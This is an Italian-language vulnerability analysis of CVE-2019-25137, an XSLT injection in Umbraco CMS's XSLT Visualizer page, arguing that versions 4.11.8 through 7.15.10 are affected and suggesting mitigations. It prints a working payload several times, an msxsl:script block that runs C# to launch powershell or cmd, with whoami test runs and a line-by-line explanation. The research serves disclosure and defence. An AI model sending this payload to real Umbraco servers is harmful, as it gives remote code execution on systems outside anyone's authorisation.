
Un'analisi che indaga l'intera portata di CVE-2019-25137
CVE-2019-25137 è una vulnerabilità di iniezione XSLT in Umbraco CMS. La vulnerabilità è presente nella pagina web XSLT (Extensive Stylesheet Language Transformations) Visualizer. L'URI vulnerabile per questa pagina web è /umbraco/developer/Xslt/xsltVisualize.aspx.
Lo sfruttamento riuscito del Visualizer XSLT può comportare l'esecuzione di codice C# sul sistema preso di mira. Per sfruttare la vulnerabilità, un utente necessita di credenziali di amministratore legittime per l'Umbraco CMS.
La proof of concept per CVE-2019-25137 utilizza l'elemento msxsl:script. Questo elemento consente di utilizzare linguaggi di programmazione aggiuntivi nelle trasformazioni XSLT, come C#.
<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:csharp_user="http://csharp.mycompany.com/mynamespace">
<msxsl:script language="C#" implements-prefix="csharp_user">public string xml() { string cmd = "<additional arguments>"; System.Diagnostics.Process proc = new System.Diagnostics.Process(); proc.StartInfo.FileName = "<Can be powershell or cmd>"; proc.StartInfo.Arguments = cmd; proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true; proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; } </msxsl:script>
<xsl:template match="/">
<xsl:value-of select="csharp_user:xml()"/>
</xsl:template>
</xsl:stylesheet>
Il payload XSLT tenterà di eseguire il seguente codice C#.
string cmd = "<additional arguments>";
System.Diagnostics.Process proc = new System.Diagnostics.Process();
proc.StartInfo.FileName = "<Can be powershell or cmd>";
proc.StartInfo.Arguments = cmd;
proc.StartInfo.UseShellExecute = false;
proc.StartInfo.RedirectStandardOutput = true;
proc.Start();
string output = proc.StandardOutput.ReadToEnd();
return output;
Il codice C# è suddiviso nelle seguenti istruzioni: tutte le definizioni sono documentate sul sito web di Microsoft.
Poiché Umbraco è un CMS open source, ho ottenuto diverse versioni di installazione dal loro sito web per determinare quali versioni, sia vecchie che nuove, possano ancora avere xsltVisualize.aspx presente.

L'analisi indica che il file xsltVisualize.aspx esiste in Umbraco CMS dalla versione 4.11.8 fino alla versione 7.15.10. Questo file e l'intera cartella Development non sono più presenti nelle versioni 8.0.0 e successive.

Per dimostrare che anche la versione più vecchia è vulnerabile a CVE-2019-25137, ho configurato un'istanza di test di Umbraco 4.11.8.

Confrontando il file xsltVisualize.aspx di Umbraco CMS 4.11.8 con quello di Umbraco CMS versione 7.12.4 si dimostra che, sebbene ci siano piccole differenze, la funzionalità delle pagine web è la stessa.

Per testare l'exploit, l'utente deve inviare il payload nel campo xsltSelection.

Usando il payload fornito in precedenza, sono riuscito a ottenere l'esecuzione remota di codice, indicando che anche questa versione è vulnerabile. L'immagine seguente mostra l'esecuzione di whoami.
<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:csharp_user="http://csharp.mycompany.com/mynamespace">
<msxsl:script language="C#" implements-prefix="csharp_user">public string xml() { string cmd = "whoami"; System.Diagnostics.Process proc = new System.Diagnostics.Process(); proc.StartInfo.FileName = "powershell"; proc.StartInfo.Arguments = cmd; proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true; proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; } </msxsl:script>
<xsl:template match="/">
<xsl:value-of select="csharp_user:xml()"/>
</xsl:template>
</xsl:stylesheet>

Per dimostrare che anche la versione più recente di Umbraco con xsltVisualize.aspx è vulnerabile, ho configurato un'istanza di test di Umbraco 7.15.10.

Confrontando il file xsltVisualize.aspx di Umbraco CMS 7.15.10 con quello di Umbraco CMS versione 7.12.4 si dimostra che sono identici.

Navigando verso l'URI /umbraco/developer/Xslt/xsltVisualize.aspx si evince che il file è effettivamente presente.

Usando lo stesso payload fornito in precedenza, sono riuscito di nuovo a ottenere l'esecuzione remota di codice, indicando che anche questa versione è vulnerabile. L'immagine seguente mostra l'esecuzione di whoami.
<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:csharp_user="http://csharp.mycompany.com/mynamespace">
<msxsl:script language="C#" implements-prefix="csharp_user">public string xml() { string cmd = "whoami"; System.Diagnostics.Process proc = new System.Diagnostics.Process(); proc.StartInfo.FileName = "powershell"; proc.StartInfo.Arguments = cmd; proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true; proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; } </msxsl:script>
<xsl:template match="/">
<xsl:value-of select="csharp_user:xml()"/>
</xsl:template>
</xsl:stylesheet>

Questi esempi dimostrano che CVE-2019-25137 è presente in versioni di Umbraco diverse dalla 7.12.4. Tutte le versioni tra 4.11.8 e 7.15.10 contengono la pagina web vulnerabile e pertanto dovrebbero essere incluse nell'aggiornamento della CVE. CVE-2019-25137 può essere mitigata rimuovendo l'accesso al file xsltVisualize.aspx o aggiornando all'ultima versione di Umbraco.
Original CVE - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-25137
Umbraco Release Date- https://our.umbraco.com/download/releases/774
Umbraco Versions - https://our.umbraco.com/download/releases
XSLT Definition - https://en.wikipedia.org/wiki/XSLT
Payload Used - https://github.com/noraj/Umbraco-RCE
| Funzione | Panoramica |
|---|
| System.Diagnostics.Process proc | Fornisce l'accesso ai processi locali e remoti e consente all'utente di avviare e arrestare i processi di sistema locali; questa istanza si chiama "proc". |
| proc.StartInfo.FileName | Definisce il nome dell'applicazione che l'utente desidera avviare (powershell o cmd). |
| proc.StartInfo.Arguments | Definisce eventuali variabili aggiuntive che potrebbero essere necessarie a FileName. |
| proc.StartInfo.UseShellExecute | Valore che indica se utilizzare la shell del sistema operativo per avviare il processo; è impostato su false poiché viene usato powershell o cmd. |
| proc.StartInfo.RedirectStandardOutput | Valore che indica se l'output di un'applicazione viene scritto nel flusso StandardOutput; è impostato su true. |
| proc.Start() | Avvia la risorsa di processo "proc" e la associa a un componente Process. |
| string output = proc.StandardOutput.ReadToEnd() | Esegue operazioni di lettura sincrona su "proc" e le reindirizza alla variabile "output". |